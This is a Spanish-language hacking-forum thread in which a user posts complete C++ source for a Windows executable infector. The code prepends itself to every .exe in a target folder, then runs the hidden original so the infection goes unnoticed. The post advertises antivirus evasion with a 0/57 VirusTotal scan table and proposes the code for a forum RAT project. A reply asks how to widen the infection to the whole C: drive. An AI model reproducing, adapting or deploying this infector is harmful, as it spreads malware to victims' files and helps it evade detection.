Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

Infección de ejecutables [FUD][C++]

  • 4 Respuestas
  • 4084 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado xxneeco83xx

  • *
  • Underc0der
  • Mensajes: 46
  • Actividad:
    0%
  • Reputación 0
  • ASM/C/C++/VB/Delphi
    • Ver Perfil
    • Email
  • Skype: nico.buzzi
« en: Agosto 15, 2015, 09:39:37 pm »

Hola ! tenia pensado utilizar esta formula para el RAT de foro, que les dejo el link por aquí a los interesados  ::)
https://underc0de.org/foro/off-topic-122/proyecto-rat-underc0de-(interesados-contactar)/

Bueno sin mas, este código infecta ejecutables de un directorio, este puede ser modificado a su gusto, esta testeado y funciona al %100 con ejecutables de todo tipo.
Que es lo que hace en concreto y para que sirve ?
-Imagina que tienes el directorio de Windows, o una carpeta con Juegos y archivos descargados de Internet antes de infectarte.
Luego de la infección todos esos ejecutables contendrán tu virus, malware o a lo que lo implementes.
Cuando abres el archivo Infectado, lo que primero hará es ejecutarse el Malware/Virus,etc y Luego ejecuta el archivo de forma normal, luego de cerrar el proceso borra el archivo temporal que se encuentra oculto con el mismo nombre. De esa forma es mas difícil desinfectarse y casi siempre así mismo borre el ejecutable original, al abrir viejos software's se volverá a infectar.

Esta testeado con AVIRA - ESET 8 - & Avast 5 en modo de ejecución y no detectaron nada :D
Les dejo el link de analisis 0/57  8) :

https://www.virustotal.com/es/file/0d4acc08de9cd03e3c3b98a960538299fa80fd547088d68e1774ee0ba0f1c712/analysis/1439685072/



Código: C++
  1. #include <windows.h>
  2.  
  3.         /*
  4.                 #########################################################################################
  5.                 #                                                                                                                                                                               #
  6.                 #       Infección de ejecutables por - Nico Buzzi - xxneeco83xx                                                                #
  7.                 #       Este metodo no es detectado por la heuristica de los antivirus talez como Avira.        #
  8.                 #       Codigo para foro UnderC0de.org - 15/8/15                                                                                        #
  9.                 #                                                                                                                                                                               #
  10.                 #########################################################################################
  11.         */
  12.  
  13. //Estroctura para alocar los numeros de buffers y los buffers diferentes separados por el delimitador
  14. typedef struct
  15. {
  16.         char **string_data;
  17.         int number_string;
  18.  
  19. } split_struct;
  20.  
  21. split_struct *split ( IN LPSTR lpszBuffer, IN LPSTR lpDelimitador, IN DWORD dwSizee );
  22. DWORD __stdcall _lstrlen ( IN LPSTR lpszString );
  23.  
  24. split_struct *split ( IN LPSTR lpszBuffer, IN LPSTR lpDelimitador, IN DWORD dwSizee )
  25. {
  26.  
  27.         //Definiciones de variables.
  28.         split_struct *return_value;
  29.         DWORD lpszBuffer_length, lpDelimitador_length;
  30.         DWORD bytes = 0, x = 1, aciertos = 0, count = 0, items = 0, p = 0, contador = 0;
  31.         LPSTR MyBuffer, *buffer;
  32.  
  33.         lpszBuffer_length = dwSizee;
  34.         lpDelimitador_length = _lstrlen ( lpDelimitador );
  35.         bool encontre = false;
  36.        
  37.         //Reservamos la variable principal
  38.         MyBuffer = ( LPSTR ) GlobalAlloc ( ( 0x0040 ), ( lpszBuffer_length * 2 ) );
  39.         memcpy ( & MyBuffer [ 0 ], & lpszBuffer [ 0 ], lpszBuffer_length );
  40.        
  41.         //Reservamos las variables necesarias
  42.         return_value = ( split_struct * ) GlobalAlloc ( ( 0x0040 ), ( lpszBuffer_length * 2 ) );
  43.         buffer = ( LPSTR * ) GlobalAlloc ( ( 0x0040 ), ( lpszBuffer_length + 1 ) );
  44.         *buffer = 0;
  45.  
  46.         //Recorremos el buffer en busqueda de el delimitador.
  47.         for ( bytes = 0; bytes <= lpszBuffer_length; bytes ++ )
  48.         {
  49.                 if ( MyBuffer [ bytes ] == lpDelimitador [ 0 ] )
  50.                 {
  51.                         for ( x = 0; x <= lpDelimitador_length; x++ )
  52.                         {
  53.                                 //En caso de coincidir con el delimitador, incrementamos los aciertos
  54.                                 if ( MyBuffer [ bytes + x ] == lpDelimitador [ x ] )
  55.                                 {
  56.                                         aciertos++;
  57.                                 }
  58.  
  59.                                 //Si ya se acerto toda la firma, cortamos el for.
  60.                                 if ( aciertos == lpDelimitador_length )
  61.                                 {
  62.                                         items ++;
  63.                                         break;
  64.                                 }
  65.                         }
  66.                 }
  67.  
  68.                 //Si coincide el delimitador con el buffer que vamos analizando.
  69.                 if ( aciertos == lpDelimitador_length )
  70.                 {
  71.                        
  72.                         //Reservamos el buffer, y copiamos los bytes hasta el delimitador.
  73.                         buffer [ ++ count ] = ( LPSTR ) GlobalAlloc ( ( 0x0040 ), ( lpszBuffer_length ) + 1 );
  74.                         memcpy ( & buffer [ count ] [ 0 ], & MyBuffer [ 0 ], bytes );
  75.                        
  76.                         //Ajustamos el buffer.
  77.                         MyBuffer += ( bytes + lpDelimitador_length );
  78.                                
  79.                         //Acertado, volvemos a restablecer valores.
  80.                         encontre = true;
  81.                         aciertos = 0;
  82.                         bytes = 0;
  83.                 }
  84.                
  85.                 //En caso de encontrar la cadena en la cual esta la ruta, en un buffer a parte reservamos el buffer.
  86.                 if ( encontre == true && lstrcmpA ( ( buffer [ count ] + _lstrlen ( buffer [ count ] ) - 4 ), "exe-" ) == 0 )
  87.                 {
  88.                         encontre = false;
  89.                                
  90.                         count ++;
  91.                         buffer [ count ] = ( LPSTR ) GlobalAlloc ( ( 0x0040 ), ( lpszBuffer_length ) + 1 );
  92.                         CopyMemory ( & buffer [ count ] [ 0 ], & MyBuffer [ 0 ], lpszBuffer_length - ( _lstrlen ( buffer [ count - 1 ] ) ) );
  93.                        
  94.                         items ++;
  95.                         break;
  96.                 }
  97.         }
  98.        
  99.         //Liberamos el buffer que usamos temporalmente.
  100.         GlobalFree ( MyBuffer );
  101.        
  102.         //Le decimos cuales son los punteros a apuntar desde la estroctura.
  103.         return_value -> string_data = buffer;
  104.         return_value -> number_string = items;
  105.        
  106.         //Returnamos
  107.         return return_value;
  108.  
  109. }
  110.  
  111. //Funcion que remplaza a lstrlenA o strlen ( de string.h )
  112. DWORD __stdcall _lstrlen ( IN LPSTR lpszString )
  113. {
  114.  
  115.         register DWORD bytes = 0;
  116.        
  117.         //Vamos contando los caracteres que contiene nuestro buffer.
  118.         while ( * ( lpszString ++ ) != 0x00 ) bytes ++;
  119.        
  120.         return DWORD ( bytes );
  121. }
  122.  
  123. int __stdcall WinMain ( HINSTANCE hThisInstance, HINSTANCE hPrevInstance,
  124.         LPSTR lpszArgument, int nCmdFunstil )
  125. {
  126.  
  127.         //Variables necesarias
  128.         HANDLE File;
  129.         DWORD dwBytes, dwSize, dwSizeOriginal, Attributes, NewSize;
  130.         WIN32_FIND_DATA Find;
  131.         HANDLE Search;
  132.  
  133.         //Estrocturas PE
  134.         PIMAGE_DOS_HEADER pImageDosHeader;
  135.         PIMAGE_NT_HEADERS pImageNtHeaders;
  136.         PIMAGE_SECTION_HEADER pImageSectionHeader;
  137.        
  138.         //Variable para CreateProcess, para poder ejecutar la aplicación.
  139.         STARTUPINFOA si;
  140.         PROCESS_INFORMATION pi;
  141.        
  142.         //Rellenamos las estrocturas
  143.         ZeroMemory ( &si, sizeof ( STARTUPINFOA ) );
  144.         ZeroMemory ( &pi, sizeof ( PROCESS_INFORMATION ) );
  145.        
  146.         //Calculamos el tamaño de StartupInfoA struct en su cb
  147.         si.cb = sizeof ( STARTUPINFOA );
  148.        
  149.         //Variables de tipo puntero char.
  150.         LPSTR AppName, Buffer, NewBuffer, PathInfect, PreBuffer, Path, Firma;
  151.  
  152.         //Obtenemos nuestro nombre de ejecutable.
  153.         AppName = ( LPSTR ) GlobalAlloc ( ( 0x0040 ), ( MAX_PATH + 1 ) );
  154.         GetModuleFileNameA ( GetModuleHandleA ( 0L ), AppName, MAX_PATH );
  155.        
  156.         //Nos abrimos
  157.         File = CreateFileA ( AppName, GENERIC_READ, FILE_SHARE_READ, 0,
  158.                 OPEN_EXISTING, 0, 0 );
  159.                
  160.         //Si existe algun error al abrirnos para leernos.
  161.         if ( ( File == INVALID_HANDLE_VALUE ) )
  162.         {
  163.                 CloseHandle ( File );
  164.                 GlobalFree ( AppName );
  165.        
  166.                 return EXIT_FAILURE;
  167.         }
  168.  
  169.         //Obtenemos el tamaño de nuestro archivo
  170.         dwSize = GetFileSize ( File, 0 );
  171.         dwSizeOriginal = dwSize;
  172.        
  173.         //Luego de leernos
  174.         Buffer = ( LPSTR ) GlobalAlloc ( ( 0x0040 ), ( dwSize + 1 ) );
  175.         ReadFile ( File, Buffer, dwSize, &dwBytes, 0 );
  176.         CloseHandle ( File );
  177.  
  178.         //Liberamos la variable que contiene nuestra ruta.
  179.         GlobalFree ( AppName );
  180.  
  181.         //Obtenemos el PE, y el tamaño de nuestro ejecutable, para determinar si somos o no un archivo infectado.
  182.         pImageDosHeader = ( PIMAGE_DOS_HEADER ) & Buffer [ 0 ];
  183.         pImageNtHeaders = ( PIMAGE_NT_HEADERS ) & Buffer [ pImageDosHeader -> e_lfanew ];
  184.         pImageSectionHeader = ( PIMAGE_SECTION_HEADER ) & Buffer [ pImageDosHeader -> e_lfanew + sizeof ( IMAGE_NT_HEADERS ) + sizeof ( IMAGE_SECTION_HEADER ) * ( pImageNtHeaders -> FileHeader.NumberOfSections - 1 ) ];
  185.  
  186.         NewSize = pImageSectionHeader -> PointerToRawData + pImageSectionHeader -> SizeOfRawData;
  187.  
  188.         //En caso de no ser un archivo infectado infecto.
  189.         if ( NewSize == dwSize )
  190.         {
  191.  
  192.                 //En el directorio
  193.                 char directory [ MAX_PATH + 1 ];
  194.                 wsprintfA ( directory, "%s\\nueva\\*", getenv ( "homedrive" ) );
  195.                
  196.                 //Comenzamos la busqueda
  197.                 Search = FindFirstFileA ( directory, &Find );
  198.        
  199.                 //Si hay problemas al listar, salimos.
  200.                 if ( Search == INVALID_HANDLE_VALUE )
  201.                 {
  202.                         FindClose ( Search );
  203.        
  204.                         return EXIT_FAILURE;
  205.                 }
  206.  
  207.                 //Avanzamos en el directorio de system32 buscando archivos a infectar
  208.                 while ( FindNextFileA ( Search, & Find ) != 0 )
  209.                 {
  210.                         //Si el archivo es ejecutable (.exe)
  211.                         if ( lstrcmpA ( ( Find.cFileName + _lstrlen ( Find.cFileName ) ) - 4, ".exe" ) == 0 || lstrcmpA ( ( Find.cFileName + _lstrlen ( Find.cFileName ) ) - 4, ".EXE" )  == 0 )
  212.                         {
  213.  
  214.                                 //Alojamos la firma
  215.                                 Firma = ( LPSTR ) GlobalAlloc ( ( 0x0040 ), 500 );
  216.                                 wsprintfA ( Firma, "#EXE" );
  217.                                 lstrcatA ( Firma, "CUTABLE#" );
  218.                
  219.                                 //Creamos la ruta de donde iremos a buscar ejecutables para infectar.
  220.                                 PathInfect = ( LPSTR ) GlobalAlloc ( ( 0x0040 ), ( MAX_PATH + 1 ) );
  221.                                 CopyMemory ( & PathInfect [ 0 ], & directory [ 0 ], _lstrlen ( directory ) - 1 );
  222.  
  223.                                 CopyMemory ( & PathInfect [ lstrlenA ( PathInfect ) ], &Find.cFileName, lstrlenA ( Find.cFileName ) );
  224.                                 Attributes = GetFileAttributesA ( PathInfect );
  225.  
  226.                                 //Abrimos el ejecutable que iremos a infectar
  227.                                 File = CreateFileA ( PathInfect, GENERIC_READ, FILE_SHARE_READ, 0,
  228.                                         OPEN_EXISTING, Attributes, 0 );
  229.  
  230.                                 //Verificamos que no haya fallos a la hora de abrir el ejecutable a infectar
  231.                                 if ( File == INVALID_HANDLE_VALUE )
  232.                                 {
  233.                                        
  234.                                         CloseHandle ( File );
  235.                                         GlobalFree ( Firma );
  236.                                         GlobalFree ( PathInfect );
  237.                                
  238.                                         return EXIT_FAILURE;
  239.                                 }
  240.                                
  241.                                 //Creamos la firma que le colocaremos para distinguir el infectado al ejecutable normal
  242.                                 CopyMemory ( & Firma [ _lstrlen ( Firma ) ], & PathInfect [ 0 ], _lstrlen ( PathInfect ) );
  243.                                 CopyMemory ( & Firma [ _lstrlen ( Firma ) ], & "-#EXE", _lstrlen ( ( LPSTR ) "-#EXE" ) );
  244.                                 lstrcatA ( Firma, "CUTABLE#" );
  245.        
  246.                                 //Obtenemos el tamaño del archivo a infectar
  247.                                 dwSize = GetFileSize ( File, 0 );
  248.                                 PreBuffer = ( LPSTR ) GlobalAlloc ( ( 0x0040 ), ( dwSize + 1 ) );
  249.                
  250.                                 //Leemos el archivo que vamos a infectar
  251.                                 ReadFile ( File, PreBuffer, dwSize, &dwBytes, 0 );
  252.                                 CloseHandle ( File );
  253.        
  254.                                 //Abrimos el archivo a infectar
  255.                                 File = CreateFileA ( PathInfect, GENERIC_WRITE, FILE_SHARE_WRITE, 0,
  256.                                         CREATE_ALWAYS, Attributes, 0 );
  257.  
  258.                                 //Escribimos el nuevo archivo.
  259.                                 WriteFile ( File, Buffer, dwSizeOriginal, &dwBytes, 0 );
  260.                                 WriteFile ( File, Firma, _lstrlen ( Firma ), &dwBytes, 0 );
  261.                                 WriteFile ( File, PreBuffer, dwSize, &dwBytes, 0 );
  262.                                 WriteFile ( File, "#EXE", _lstrlen ( ( LPSTR ) "#EXE" ), &dwBytes, 0 );
  263.                                 WriteFile ( File, "CUTABLE#", _lstrlen ( ( LPSTR ) "CUTABLE#" ), &dwBytes, 0 );
  264.                                 WriteFile ( File, "ENDOF", _lstrlen ( ( LPSTR ) "ENDOF" ), &dwBytes, 0 );
  265.                                 WriteFile ( File, "#EXE", _lstrlen ( ( LPSTR ) "#EXE" ), &dwBytes, 0 );
  266.                                 WriteFile ( File, "CUTABLE#", _lstrlen ( ( LPSTR ) "CUTABLE#" ), &dwBytes, 0 );
  267.                                 CloseHandle ( File );
  268.                        
  269.                                 //Liberamos los buffers
  270.                                 GlobalFree ( PreBuffer );
  271.                                 GlobalFree ( PathInfect );
  272.                                 GlobalFree ( Firma );
  273.                         }
  274.  
  275.                 }
  276.  
  277.                 //Cerramos la busqueda
  278.                 FindClose ( Search );
  279.                
  280.                 //Liberamos el buffer
  281.                 GlobalFree ( Buffer );
  282.  
  283.                 //Salimos.
  284.                 return EXIT_SUCCESS;
  285.         }
  286.        
  287.         //De lo contrario creamos el archivo
  288.        
  289.         //Ajustamos el nuevo tamaño
  290.         dwSize -= NewSize;
  291.        
  292.         //Creamos el nuevo buffer
  293.         NewBuffer = ( LPSTR ) GlobalAlloc ( ( 0x0040 ), ( dwSize + 1 ) );
  294.         CopyMemory ( & NewBuffer [ 0 ], & Buffer [ NewSize ], dwSize );
  295.  
  296.         Path = ( LPSTR ) GlobalAlloc ( ( 0x0040 ), ( MAX_PATH + 1 ) );
  297.        
  298.         char firmita [ 250 ];
  299.         wsprintf ( firmita, "%sEXE", "#" );
  300.         lstrcatA ( firmita, "CUTABLE#" );
  301.        
  302.         split_struct *resultado = split ( NewBuffer, ( LPSTR ) firmita, dwSize );
  303.        
  304.         //Recorremos los items
  305.         for ( int i = 1; i <= resultado -> number_string; i ++ )
  306.         {
  307.  
  308.                 //Comprobamos que la cadena que obtenemos no sea una invalida.
  309.                 if ( _lstrlen ( resultado -> string_data [ i ] ) <= 0 ) i += 1;
  310.  
  311.                 //Abrimos un nuevo archivo de modo oculto para su ejecución de modo que no sea sospechoso.
  312.                 File = CreateFileA ( resultado -> string_data [ i ], GENERIC_WRITE, FILE_SHARE_WRITE, 0,
  313.                         CREATE_ALWAYS, ( 0x1 | 0x2 | 0x4 ), 0 );
  314.                        
  315.                 //Si no podemos crear el archivo
  316.                 if ( File == INVALID_HANDLE_VALUE )
  317.                 {
  318.                         CloseHandle ( File );
  319.                         GlobalFree ( AppName );
  320.                         GlobalFree ( NewBuffer );
  321.                         GlobalFree ( Path );
  322.  
  323.                         return EXIT_FAILURE;
  324.                 }
  325.        
  326.                 //Escribimos la ruta, y calculamos el tamaño a escribir.
  327.                 WriteFile ( File, resultado -> string_data [ i + 1 ], dwSize - _lstrlen ( resultado -> string_data [ i ] ), &dwBytes, 0 );
  328.                 CloseHandle ( File );
  329.                
  330.                 //Ejecutamos el archivo, y esperamos por el hasta que se cierre.
  331.                 CreateProcessA ( resultado -> string_data [ i ], 0, 0, 0, false, CREATE_DEFAULT_ERROR_MODE, 0, 0, &si, &pi );
  332.                 WaitForSingleObject ( pi.hProcess, INFINITE );
  333.                
  334.                 //Eliminamos el archivo una vez haya sido terminado de ejecutar.
  335.                 SetFileAttributesA ( resultado -> string_data [ i ], FILE_ATTRIBUTE_NORMAL );
  336.                 DeleteFileA ( resultado -> string_data [ i ] );
  337.                
  338.                 //Liberamos el buffer
  339.                 GlobalFree ( resultado -> string_data [ i ] );
  340.                
  341.                 //Interrumpimos el for
  342.                 break;
  343.         }
  344.        
  345.         //Liberamos los buffers.
  346.         GlobalFree ( AppName );
  347.         GlobalFree ( NewBuffer );
  348.         GlobalFree ( Path );
  349.        
  350.         //Salimos
  351.         return EXIT_SUCCESS;
  352. }
  353.  
  354.  

Antivirus   Resultado   Actualización
ALYac      20150805    Clean
AVG      20150805    Clean
AVware      20150805    Clean
Ad-Aware      20150805    Clean
AegisLab      20150805    Clean
Agnitum      20150804    Clean
AhnLab-V3      20150805    Clean
Alibaba      20150803    Clean
Antiy-AVL      20150805    Clean
Arcabit      20150805    Clean
Avast      20150805    Clean
Avira      20150805    Clean
Baidu-International      20150805    Clean
BitDefender      20150805    Clean
Bkav      20150805    Clean
ByteHero      20150805    Clean
CAT-QuickHeal      20150805    Clean
ClamAV      20150805    Clean
Comodo      20150805    Clean
Cyren      20150805    Clean
DrWeb      20150805    Clean
ESET-NOD32      20150805    Clean
Emsisoft      20150805    Clean
F-Prot      20150805    Clean
F-Secure      20150805    Clean
Fortinet      20150804    Clean
GData      20150805    Clean
Ikarus      20150805    Clean
Jiangmin      20150804    Clean
K7AntiVirus      20150805    Clean
K7GW      20150805    Clean
Kaspersky      20150805    Clean
Kingsoft      20150805    Clean
Malwarebytes      20150805    Clean
McAfee      20150805    Clean
McAfee-GW-Edition      20150805    Clean
MicroWorld-eScan      20150805    Clean
Microsoft      20150805    Clean
NANO-Antivirus      20150805    Clean
Panda      20150805    Clean
Qihoo-360      20150805    Clean
Rising      20150731    Clean
SUPERAntiSpyware      20150805    Clean
Sophos      20150805    Clean
Symantec      20150805    Clean
Tencent      20150805    Clean
TheHacker      20150805    Clean
TotalDefense      20150805    Clean
TrendMicro      20150805    Clean
TrendMicro-HouseCall      20150805    Clean
VBA32      20150805    Clean
VIPRE      20150805    Clean
ViRobot      20150805    Clean
Zillya      20150805    Clean
Zoner      20150805    Clean
nProtect      20150805    Clean

Es todo espero que le sirva a alguno! se aceptan comentarios, criticas, y lo que se te cruze en mente.  ;D
« Última modificación: Agosto 16, 2015, 02:20:05 am por xxneeco83xx »
El arte de crear malware, es algo que solo pocos entienden!


Desconectado GermanHofkamp

  • *
  • Underc0der
  • Mensajes: 2
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
  • Skype: german.snaky
« Respuesta #1 en: Noviembre 20, 2015, 01:19:02 pm »
Hola amigo, pregunta. En si que hace bien este virus, infecta todos los .exe del sistema? por que lo e probado, pero ningún .exe me ha modificado. por eso te pregunto bien como infecta, por que si me sirve lo voy a utilizar para un proyecto, desde ya muchas gracias y muy buen malware. :)

Desconectado xxneeco83xx

  • *
  • Underc0der
  • Mensajes: 46
  • Actividad:
    0%
  • Reputación 0
  • ASM/C/C++/VB/Delphi
    • Ver Perfil
    • Email
  • Skype: nico.buzzi
« Respuesta #2 en: Noviembre 22, 2015, 02:37:54 pm »
Es que la ruta a la cual esta infectando los archivos la tienes que especificar tu, si te fijas la carpeta default que tiene predefinida es homedrive carpeta llamada nueva.
El arte de crear malware, es algo que solo pocos entienden!


Desconectado GermanHofkamp

  • *
  • Underc0der
  • Mensajes: 2
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
  • Skype: german.snaky
« Respuesta #3 en: Noviembre 23, 2015, 12:06:54 am »
Bien!, si quisiera que infecte todo el disco C por ejemplo, en donde dice "nueva" tendría que colocar "*.*" para que infecte todo, por que te explico o probado el malware hasta e creado la carpeta nueva en el disco C y coloque unos .exe a ver si los modificaba y nada!, por eso te pregunto a vos que sos el creador de el malware.

Desconectado NyxKazuya

  • *
  • Underc0der
  • Mensajes: 56
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #4 en: Noviembre 25, 2015, 12:04:51 am »
proyect quemado en 3,2,1

 

¿Te gustó el post? COMPARTILO!